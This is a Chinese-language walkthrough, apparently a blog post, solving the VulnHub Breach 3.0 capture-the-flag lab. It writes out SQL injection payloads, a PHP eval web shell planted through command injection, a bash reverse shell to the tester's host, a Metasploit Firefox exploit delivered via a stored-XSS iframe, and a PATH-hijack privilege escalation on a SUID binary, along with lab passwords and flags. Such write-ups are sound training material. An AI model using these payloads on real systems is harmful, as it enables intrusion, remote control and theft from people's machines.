靶场:Breach3.0攻略

Breach 3.0 是一个用于网络安全训练的虚拟靶场(Cyber Range),旨在为网络安全专业人员、学生、研究人员以及企业提供一个模拟真实网络环境的安全测试和训练平台。它通过虚拟化技术模拟复杂的网络架构和攻击场景,帮助用户练习检测、防御和应对网络攻击的技能。

安装:

官网地址:www.vulnhub.com/entry/breac...,将下载的环境解压出来,使用vm导入环境即可。

靶场提示:

swift 复制代码
 密码1:thelaststraw
 密码2:damnitfeel$goodtobeagang$ta
 靶场中存在虚拟机qemu(两个)
 目标:拿下3个flag(分别是:flag1、flag2、flag3)

查看虚拟机的网段

192.168.244.0/24

编辑->虚拟网路编辑器

获取目标ip

css 复制代码
 netdiscover -i eth0 -r 192.168.244.0/24

netdiscover肯定和神器nmap无法相提并论。但是netdiscover也有它自身独特的优势,比如针对局域网的扫描比较快速准确,并将结果以列表的形式展现出来。而nmap相对来说比较耗时。

发现ip

192.168.244.142,如果无法确定是哪个ip,可以先把Breach3.0关掉,然后在打开,看新增的是哪个ip。

扫描次ip的端口:

复制代码
 nmap -sU 192.168.244.142

-sU:指定发起UDP扫描

复制代码
 nmap 192.168.244.142

信息收集列表:

ip 信息内容 端口 说明
192.168.244.142 端口 999
端口 161 snmp
网卡信息 00:50:56:F3:24:9E

通过snmp协议信息收集

arduino 复制代码
 snmpwalk -Os -c public -v 1 192.168.244.142

参数:

-Os:输出时显示 OID(对象标识符)的简短名称,而不是完整的 OID 路径。

-c public:指定 SNMP 社区字符串为 public,这是默认的只读社区字符串。

-v 1:指定使用 SNMP 版本 1(SNMPv1)。

192.168.244.142:目标设备的 IP 地址,即你要查询的 SNMP 设备。

作者留下的重要信息:

ini 复制代码
 iso.3.6.1.2.1.1.4.0 = STRING: "Email: Milton@breach.local - (545)-232-1876"
 iso.3.6.1.2.1.1.5.0 = STRING: "Initech-DMZ01"
 iso.3.6.1.2.1.1.6.0 = STRING: "Initech - is this thing on? I doubt anyone thinks to look here, anyways, I've left myself a way back in and burn the place down once again."
 ​

根据提示,可能使用了端口隐藏技术,(545)-232-1876 是三个端口545、232、1876;

使用knocker敲门

下载knocker.sh:

bash 复制代码
 wget https://gh-proxy.com/https://github.com/adaywithtape/knocker/blob/master/knocker.sh
 chmod +x knocker.sh
 ./knocker.sh -i 192.168.244.142 -p 545,232,1876

再次使用nmap扫描:

复制代码
 nmap 192.168.244.142

结果:

PORT STATE SERVICE
22/tcp open ssh
23/tcp open telnet
2048/tcp open dls-monitor
5800/tcp open vnc-http
10009/tcp open swdtp-sv
10010/tcp open rxapi

ssh连接,尝试弱口令

尝试root、admin、123456后,都提示密码错误。

这边又有提示555-423-1800,我们再把这个当隐藏端口序列试试;

css 复制代码
 ./knocker.sh -i 192.168.244.142 -p 555,423,1800

再次扫描:

复制代码
 nmap 192.168.244.142

发现目标隐藏起来的 8 端口

http访问8端口

复制代码
 192.168.244.142:8

使用旧版本的火狐浏览器登录后,发现用户名是:milton,根据靶机的提示输入密码:thelaststraw

登录后:

点击place:

这边是登录框,尝试弱口令、sql注入、xss、CSRF等方式。

sql注入

在登录的窗口转包,并把请求内容保存成1.txt

css 复制代码
 sqlmap -r 1.txt --auth-type=Basic --auth-cred=milton:thelaststraw --proxy=http://127.0.0.1:8080 --tamper=equaltolike --level=5 --risk=3 --dbms=mysql --dbs

执行之后出现一个302跳转界面,这里提示数据是否提交到302的跳转界面,要选择n,不要将数据提交过去,其他的情况都是y。

成功注入,得到数据库信息:

password参数存在布尔盲注与时间盲注漏洞。

sql 复制代码
 ---
 Parameter: password (POST)
     Type: boolean-based blind
     Title: OR boolean-based blind - WHERE or HAVING clause
     Payload: username=admin&password=-1850' OR 7115=7115-- VLih&submit= Login 
 ​
     Type: time-based blind
     Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
     Payload: username=admin&password=admin' AND (SELECT 9349 FROM (SELECT(SLEEP(5)))tOux)-- pjaR&submit= Login
 ---
 ​

得到一个数据库thebobsbackups

go 复制代码
 sqlmap -r 1.txt --auth-type=Basic --auth-cred=milton:thelaststraw --proxy=http://127.0.0.1:8080 --tamper=equaltolike --dbms=mysql --tables -D thebobs -p password
 sqlmap -r 1.txt --auth-type=Basic --auth-cred=milton:thelaststraw --proxy=http://127.0.0.1:8080 --tamper=equaltolike --dbms=mysql --tables -D backups -p password

查看里面的数据:

css 复制代码
 sqlmap -r 1.txt --auth-type=Basic --auth-cred=milton:thelaststraw --proxy=http://127.0.0.1:8080 --tamper=equaltolike --technique=B --dbms=mysql --dump -D thebobs -T login -p password

获取到一个账号密码:

admin8f4fadb24304d60d9dcb1589aa6a5c2d2d373229

css 复制代码
 sqlmap -r 1.txt --auth-type=Basic --auth-cred=milton:thelaststraw --proxy=http://127.0.0.1:8080 --tamper=equaltolike --technique=B --dbms=mysql --dump -D backups -T info -p password

backups-info中的数据:

id comments password username
1 Trying out a new encryption method, not in production yet Vmxab2QxRXlTbGRqU0VaVlYwaENjVlJVUmt0aU1XeFhXWHBHVjFKVk5YVlZSbEYzVTNkdlBRbz0K blumbergh
2 Account disabled after he went off the rails. No need to encrypt thelaststraw milton
3 :) ? root

密码破解

在kali中查看这个密文是使用什么加密的

复制代码
 hashid 8f4fadb24304d60d9dcb1589aa6a5c2d2d373229

使用www.somd5.com/,破解是:randomhash

blumbergh经过5次的base64破解得到:C0ff33stainS

5次的破解路径如下:

Vmxab2QxRXlTbGRqU0VaVlYwaENjVlJVUmt0aU1XeFhXWHBHVjFKVk5YVlZSbEYzVTNkdlBRbz0K VlZod1EySldjSEZVV0hCcVRURktiMWxXWXpGV1JVNXVVRlF3U3dvPQo= VVhwQ2JWcHFUWHBqTTFKb1lWYzFWRU5uUFQwSwo= UXpCbVpqTXpjM1JoYVc1VENnPT0K QzBmZjMzc3RhaW5TCg== C0ff33stainS

登录网站

根据sqlmap的检测我们知道password字段有注入点,输入

ini 复制代码
 -1850' OR 7115=7115-- VLih
 我们优化下,输入:
 ' or '1' ='1
bash 复制代码
 http://192.168.244.142:8/breach3/index.php

登录Intech Home>Employee portal>Livechat

地址:

bash 复制代码
 http://192.168.244.142:8/breach3/thebobscloudhostingllc/livechat.php

随便输入内容,提交后,路劲该改变:

bash 复制代码
 http://192.168.244.142:8/breach3/thebobscloudhostingllc/livechat.php?searcher=Submit#

searcher=Submit是突破口,有命令执行的漏洞,我们输入

bash 复制代码
 http://192.168.244.142:8/breach3/thebobscloudhostingllc/livechat.php?searcher=whoami#

这个web的系统账号samir。

获取代码路径:

bash 复制代码
 pwd
 /var/www/html/breach3/thebobscloudhostingllc

使用蚁剑

创建s.php文件,共蚁剑访问,具体请求如下:

bash 复制代码
 http://192.168.244.142:8/breach3/thebobscloudhostingllc/livechat.php?searcher=echo '<?php @eval($_POST[5574]); ?>' >s.php

蚁剑访问地址如下:

bash 复制代码
 http://192.168.244.142:8/breach3/thebobscloudhostingllc/s.php

由于使用了basic认证模式,所以 需要添加header的参数:Authorization,并对milton:thelaststraw进行base64编码,值为:

Basic bWlsdG9uOnRoZWxhc3RzdHJhdw==,具体的蚁剑配置如下:

成功连接:

找到一个flag:

arduino 复制代码
 /home/thebobs/flag1

没有权限打开,只有文件归属于:thebobs

一般进站后收集的内容有:

bash 复制代码
 /etc/passwd
 /home   #一般home目录都有访问权限
 /etc/ssh/sshd_config
 /etc/crontab
 sudo -l
 ifconfig    #网络信息
 /var/www/html/  #收集网站信息,看看数据库
  • sudo -l

samir用户可以使用thebobs的chmod授权功能,既能能直接修改flag1的权限;

执行:

bash 复制代码
 #指定使用thebobs用户执行chmod,修改权限
 sudo -u thebobs chmod 777 flag1

获取到flag1的信息:

breach3{the_dmz_is_burning}

  • /home信息收集:
bash 复制代码
 查看/home/thebobs的权限:
 ls -la /home/thebobs
 ls -la /home/thebobs/.ssh

authorized_keys也有修改的权限,那么考虑通过ssh免密登录的方式。

bash 复制代码
 查看sshd_config的配置,是否可以使用thebobs进行ssh登录
 /etc/ssh/sshd_config

这边的意思是只允许thebobs登录。

  • 根据源码找数据库账号密码:

    账号root, 没有密码

由于在蚁剑中shell为非交互式的,

下使用thebobs账号免密登录试试看。

免密登录thebobs账号

  • 蚁剑中运行

把公钥的信息复制到authorized_keys,那是使用这个私钥的信息就能免密登录这台服务器了。

bash 复制代码
 cat /home/thebobs/.ssh/id_rsa.pub > /home/thebobs/.ssh/authorized_keys

修改authorized_keys与.ssh的权限,才能登录,不然还是无法登录

bash 复制代码
 sudo -u thebobs chmod 600 /home/thebobs/.ssh/authorized_keys
 sudo -u thebobs chmod 700 /home/thebobs/.ssh
  • kali中运行

把私钥信息复制到kali本地的id_rsa文件中,并执行免密登录命令

ini 复制代码
 chmod 700 id_rsa
 ssh -i id_rsa 192.168.244.142 -l thebobs -o PubkeyAcceptedKeyTypes=ssh-rsa
 -l 这个选项指定了要以哪个用户身份登录到远程服务器
 -o PubkeyAcceptedKeyTypes=ssh-rsa 这个选

进入bin/bash的交互式命令行:

arduino 复制代码
 import pty;pty.spawn('/bin/bash')

现在登录mysql,能正常访问

ini 复制代码
 mysql -uroot
 show databases;
 use backups;
 show tables;
 select * from info;

由于之前slq注入的时候已经收集了些信息,这边就不在收集;

  • 收集网络信息

    ifconfig

内网地址段的探测:192.168.122 网段

bash 复制代码
 for i in $(seq 2 254); do ping -c 1 192.168.122.$i -w 1 | grep "bytes from ";  done

得到内网中存活的两台虚拟机的IP地址:192.168.122.28192.168.122.65

收集新的服务器信息

在192.168.244.142 有nmap软件,我们直接使用nmap进行扫描:

css 复制代码
 nmap -p- -A 192.168.122.28 192.168.122.65
 -p-:扫描所有端口(1 到 65535)。
 -A:启用操作系统检测、版本检测、脚本扫描和路由跟踪等高级功能。

获取192.168.122.65开启的端口信息

vbscript 复制代码
 22/tcp   open  ssh     OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
 |_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
 80/tcp   open  http    Apache httpd 2.4.10 ((Debian))
 |_http-methods: No Allow or Public header in OPTIONS response (status code 200)
 |_http-title: Site doesn't have a title (text/html; charset=UTF-8).
 8800/tcp open  http    nginx 1.6.2
 | http-auth: 
 | HTTP/1.1 401 Unauthorized
 |_  Basic realm=Restricted Area
 |_http-methods: No Allow or Public header in OPTIONS response (status code 401)
 |_http-title: 401 Authorization Required

192.168.122.65的80端口测试

把192.168.122.65的80端口转发到kali服务器的端口,方便我们访问

ini 复制代码
 ssh -i id_rsa 192.168.244.142 -l thebobs -o PubkeyAcceptedKeyTypes=ssh-rsa -L 192.168.244.140:18080:192.168.122.65:80

访问192.168.244.140:18080,能正常访问成功!

有PDF Converter功能,测试是否有存在漏洞

PDF Converter漏洞是无回显的RCE类型的漏洞。如果验证该漏洞存在的话,可以使用延时函数:sleep;

使用burp suite抓包重放,有效果,即使有这个漏洞。

使用新增一个一句话木马文件,

bash 复制代码
 `echo '<?php @eval($_POST[5574]); ?>' >s.php`
 访问地址:
 http://192.168.244.140:18080/intranet/s.php

peter目录下找到对应的flag2,但是没有权限:

samir在/home/samir/.notes.txt找到密码:samir:infosecrockstar

网站文件分析:html2是samir账号下的文件,估计可以使用上面的密码,html目录下没有找到数据库信息;

由于在蚁剑中有些命令无法执行,需要通过反弹shell执行。

在kali开启nc接收反弹的shell会话

yaml 复制代码
 nc -lvvp 2323

在蚁剑的命令行中执行

bash 复制代码
 /bin/bash -c 'bash -i >& /dev/tcp/192.168.244.140/2323 0>&1'

#如果是通过url执行需要优化代码,在URL网址中的 & 符号代表参数。因此需要进行转码才能使 & 符生效。

bash 复制代码
 /bin/bash -c 'bash -i >%26 /dev/tcp/10.0.0.20/2323 0>%261'

连接上后,设置交互性shell

ruby 复制代码
 www-data@Initech:/var/www/html/intranet$ tty
 tty
 not a tty
 www-data@Initech:/var/www/html/intranet$ python -c "import pty;pty.spawn('/bin/bash')"
 <tml/intranet$ python -c "import pty;pty.spawn('/bin/bash')"                 
 www-data@Initech:/var/www/html/intranet$ tty
 tty
 /dev/pts/1

查看home下面各个账号的信息,没有192.168.244.142服务器那样给我们.ssh修改的权限,所以无法通过免密登录方式登录账号。

尝试使用peter、samir 、thebobs三个账号与我们手机到的密码测试;

使用peter:damnitfeel <math xmlns="http://www.w3.org/1998/Math/MathML"> g o o d t o b e a g a n g goodtobeagang </math>goodtobeagangta 能正常登录;

进入交互式命令行:

arduino 复制代码
 import pty;pty.spawn('/bin/bash')

获取到flag2的信息:

ruby 复制代码
 peter@Initech:~$ cat flag2
 cat flag2
 breach3{what_secrets_is_bill_hiding?}

根据flag2的提示:what secrets is bill hiding (bill隐瞒了什么秘密),flag3应该是bill这台服务器上,而bill这台机器其实是我们前面做信息收集,扫描虚拟机的那台:bill-desktop IP地址为: 192.168.122.28 但是刚刚使用nmap进行扫描的时候,并没有发现bill-desktop这台机器开放任何端口。 那么此时的突破口依然还是在当前这台Peter的虚拟机上面,因此需要继续做信息收集。

复制代码
 netstat -lntp
bash 复制代码
 wget 192.168.244.140:8081/linpeas.sh

192.168.122.65的8800端口测试

根据之前收集的信息,8800是 nginx服务,我们先去看看nginx相关的文件收集信息。

nginx的路径:/etc/nginx

ini 复制代码
 /etc/nginx/sites-enabled/default -> /etc/nginx/sites-available/default
 server {
         listen 8800 default_server;
         listen [::]:8800 default_server;
         root /var/www/html2;
         index index.html index.php index.htm index.nginx-debian.html;
         server_name _;
         location / {
                 try_files $uri $uri/support/index.php;
         }
 ​

识别8800的网页路径:/var/www/html2

查看nginx日志文件

bash 复制代码
 cd /var/log/nginx
 ls -la

将具有的可读的文件copy到/tmp目录中进行操作:

bash 复制代码
 cp access.log.9.gz /tmp
 cd /tmp
 gunzip access.log.9.gz
 cat access.log.9
 cat access.log.9 | grep 192.168.122.28
css 复制代码
 192.168.122.28 - - [29/Sep/2016:05:50:07 -0400] "GET /support/ticket.php HTTP/1.1" 200 160 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0"
 192.168.122.28 - - [29/Sep/2016:05:50:12 -0400] "GET /favicon.ico HTTP/1.1" 404 142 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0"
 192.168.122.28 - - [29/Sep/2016:05:50:12 -0400] "GET /favicon.ico HTTP/1.1" 404 142 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0"
 192.168.122.28 - - [29/Sep/2016:05:51:21 -0400] "GET /support/ticket.php HTTP/1.1" 404 47 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0"
 192.168.122.28 - - [29/Sep/2016:05:51:22 -0400] "GET /favicon.ico HTTP/1.1" 404 142 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0"
 192.168.122.28 - - [29/Sep/2016:05:51:22 -0400] "GET /favicon.ico HTTP/1.1" 404 142 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0"
 192.168.122.28 - - [29/Sep/2016:05:52:39 -0400] "GET /support/ticket.php HTTP/1.1" 200 160 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0"
 192.168.122.28 - - [29/Sep/2016:05:52:44 -0400] "GET /favicon.ico HTTP/1.1" 404 142 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0"
 192.168.122.28 - - [29/Sep/2016:05:52:44 -0400] "GET /favicon.ico HTTP/1.1" 404 142 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0"

分析上面的内容192.168.122.28的会定时访问/support/ticket.php,通过Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0,Firefox/22.0也是会有漏洞的。

查看/support/ticket.php的源码:

bash 复制代码
 cd /var/www/html2/support/
 cat ticket.php

会查询tickets的表信息;

kali端口转发设置:

ini 复制代码
 ssh -i id_rsa 192.168.244.142 -l thebobs -o PubkeyAcceptedKeyTypes=ssh-rsa -L 192.168.244.140:18081:192.168.122.65:8800

lazyadmin: <math xmlns="http://www.w3.org/1998/Math/MathML"> a p r 1 apr1 </math>apr1T/HawTDx$Rustt4xkTc.rtvGXTnpkV1

根据之前html2的目录是samir账号,我们可以使用下面账号试试

samir|infosecrockstar

这边输入的信息与ticket.php中要展示的字段类似。

综合之前收集的信息,估计需要xss可以获取到192.168.122.28的shell,那么我们先试试xss,输入:

xml 复制代码
 <script>alert(1);</script>

通过burp suite拦截后设置

然后访问/support/ticket.php信息。

验证此漏洞之后,需要把提交的XSS漏洞的表单清除,不然192.168.122.28访问的时候会卡在这个弹窗上。

192.168.122.65的XSS漏洞利用

使用msfconsole查看firefox 20 Remote,并使用exploit/multi/browser/firefox_tostring_console_injection

arduino 复制代码
 search firefox 20 Remote
 use exploit/multi/browser/firefox_tostring_console_injection
 options
 set srvhost 192.168.244.140
 set srvport 18082
 set uripath ticket
 run
bash 复制代码
 xss注入点需要访问的地址:
 http://192.168.244.140:18082/ticket
 具体输入的内容是:
 <iframe src="http://192.168.244.140:18082/ticket"> </iframe>

等待一段时间之后,MSF中会接受到来自靶机的会话。

注意每3分钟登录一次,这边登录的比较多,如果一直登录不上,可以重启的虚拟机,在试试。登录后,我们之前添加的xss数据删掉,避免有太多会话。由于目前会话很容易断开,所以切换到稳定的shell

arduino 复制代码
 use post/multi/manage/shell_to_meterpreter
 set lhost 192.168.244.140
 set session 1
 run
bash 复制代码
 sessions 6
 shell
 #交互会话
 python -c "import pty;pty.spawn('/bin/bash')"

通过分析目录firefox.sh文件与crontab,即使每个3分钟发送http请求到192.168.122.65

bash 复制代码
 cat firefox.sh
 crontab -l

192.168.122.28信息收集

查看flag脚本

javascript 复制代码
 find / -name "flag*" 2>/dev/null

找不到flag3,查看home下面,有blumbergh账号,我们之前有收集到这个账号密码,我们可以切换这个账号试试;

再执行查找flag脚本,但是还是没有找到。估计是在root账号下,那么我们需要提权,我们先尝试SUID的提权。

查找有SUID权限的文件

typescript 复制代码
 find / -perm -u=s -type f 2>/dev/null

swingline文件很可疑,有SUID权限并且在blumbergh目录下。

分析swingline文件,通过strings分析看看:

arduino 复制代码
 strings /home/blumbergh/swingline

根据之前的经验,这个应该是坐着留下来的暗示。应该需要通过这个文件来获取root权限。另外 这边发现一个函数main,这个应该是入口函数。

arduino 复制代码
 file /home/blumbergh/swingline

通过结果可以判断该文件是一个可执行的二进制文件。尝试执行:

bash 复制代码
 ./swingline
ruby 复制代码
 scp /home/blumbergh/swingline  root@192.168.244.140:/tmp

gdb分析swingline

  • gdb安装

    kali不会预安装gdb,所以我们需要安装,这边我们使用apt安装,我们先替换下源;

    bash 复制代码
     vim /etc/apt/sources.list

    设置内地的源:

    csharp 复制代码
     #中科大Kali镜像源
     deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
     deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
     #阿里云Kali镜像源
     deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
     deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
     #清华大学Kali镜像源
     deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
     deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free

    因为 Kali Linux 在 2025 年 4 月 28 日更新了签名密钥,但你的系统未导入新密钥。

    bash 复制代码
     sudo wget https://archive.kali.org/archive-keyring.gpg -O /usr/share/keyrings/kali-archive-keyring.gpg
    csharp 复制代码
     #更新软件包:
     apt-get update
     #安装gdb:
     apt install gdb
     #检查gdb:
     gdb -v
     #为了让 GDB 显示 system 函数的源码信息
     apt install libc6-dbg
  • gdb swingline

    对主函数main函数进行反编译: disassemble main

markdown 复制代码
在反编译的过程中发现调用函数有:

**setuid@plt**

-   **含义**:setuid 是一个 POSIX 系统调用,用于设置进程的**用户 ID**(UID)。@plt 表示这是通过过程链接表(PLT)调用的动态链接库函数,通常来自标准 C 库(如 glibc)。
-   **作用**:它用于更改当前进程的实际用户 ID 或有效用户 ID,常用于需要提升或降低权限的程序(如切换到 root 权限)。参数是一个 uid_t 类型的用户 ID。
-   **典型场景**:在需要以特定用户身份运行程序时使用,例如在 Linux 系统中某些需要特权的操作。

**strlen@plt**

-   **含义**:strlen 是标准 C 库函数,用于计算以 null 结尾的字符串的长度(不包括终止符 \0)。@plt 表示动态链接调用。
-   **作用**:接受一个字符串指针,返回字符串的字符数(size_t 类型)。
-   **典型场景**:常用于处理字符串长度,例如在字符串操作或内存分配中。

**puts@plt**

-   **含义**:puts 是标准 C 库函数,用于将以 null 结尾的字符串输出到标准输出(通常是终端),并自动追加一个换行符(\n)。@plt 表示动态链接调用。
-   **作用**:接受一个字符串指针,将其输出到 stdout。
-   **典型场景**:用于简单的字符串输出,例如打印提示信息或调试信息。

**encryptDecrypt**

-   **含义**:这不是标准库函数,而是一个自定义函数,名称暗示它可能用于加密或解密操作。
-   **作用**:根据名称推测,它可能实现某种对称加密/解密算法(如 XOR 加密、简单的自定义加密逻辑),用于处理数据加密或解密。具体的功能需要查看反编译后的代码实现。
-   **典型场景**:可能用于保护程序中的敏感数据(如字符串、密钥等),或在通信中加密/解密数据。

**system@plt**

-   **含义**:system 是标准 C 库函数,用于执行指定的 shell 命令。@plt 表示动态链接调用。
-   **作用**:接受一个字符串参数,表示要执行的 shell 命令,并通过调用 shell(通常是 /bin/sh)来运行该命令,返回命令的退出状态。
-   **典型场景**:用于执行外部命令,例如运行脚本、调用系统工具等。**注意**:使用 system 可能引入安全风险(如命令注入),特别是在处理用户输入时。

**main**

-   **含义**:main 是 C/C++ 程序的入口函数,通常是程序执行的起点。
-   **作用**:定义程序的主要逻辑,接受命令行参数(argc 和 argv),并返回一个整数表示程序的退出状态。
-   **典型场景**:作为程序的起点,调用其他函数(如上述函数)来完成程序的功能。

根据我们采集到函数的含义,system可能使我们要找的函数,因为我们发现这个文件要跟操作系统交互,才会有SUID权限,那么执行shell命令就是与操作系统交互的一种方式。

  • 我们调用下system,看下调用的是什么shell命令,设置断点调试:

    arduino 复制代码
     b system
     run
bash 复制代码
 ncat -6 -e /bin/bash 0:0:0:0:0:0:0:1 8889 >/dev/null 2>&1 && echo

调用的shell命令,其中ncat是相对路径,我们可以替换这个ncat,以获取root权限。

调用ncat的时候,把有用root权限的/bin/bash文件拷贝tmp目录,并给予授权,这样我们执行这个文件就能获取到root的权限了。

创建新的ncat文件

bash 复制代码
 #!/bin/bash
 cp /bin/bash /tmp/shell
 chmod +s /tmp/shell
bash 复制代码
 cd /tmp
 echo '#!/bin/bash' > ncat
 echo 'cp /bin/bash /tmp/shell' >> ncat
 echo 'chmod +s /tmp/shell' >> ncat
 chmod +x ncat
 export PATH=/tmp:$PATH
 /home/blumbergh/swingline
 ./shell -p
 -p 选项通常用于需要以特定权限运行的脚本或程序中,例如系统管理脚本或需要以 root 权限运行的脚本。
 它在 setuid 脚本中特别有用,因为它确保脚本以文件所有者的权限运行,而不会被调用者的环境变量或配置文件干扰。

全局目录查找flag3

bash 复制代码
 find / -name '*flag3*'
 flag3文件的位置:
 /root/Desktop/ / /flag3.txt
 该文件所在的的目录路径是有空格存在的,因此还需要 \ 转义
 cat /root/Desktop/\ /\ /flag3.txt

总结

通过本次通过的学习,大量的工作是在信息收集,没有搜集到关键的信息,就无法找到突破口。使用大很多技术,knocker、sqlmap、密码破解、xss漏洞、蚁剑、免密登录、PDF Converter漏洞与反编译等技术,收货满满!

相关推荐
Apifox7 小时前
【测试套件】当用户说“我只想跑 P0 用例”时,我们到底在说什么
单元测试·测试·ab测试
用户962377954481 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机1 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机1 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954481 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star1 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954481 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
阁老2 天前
pytest测试框架:如何确保登录模块先执行并共享登录状态
测试
cipher3 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
_志哥_3 天前
Superpowers 技术指南:让 AI 编程助手拥有超能力
人工智能·ai编程·测试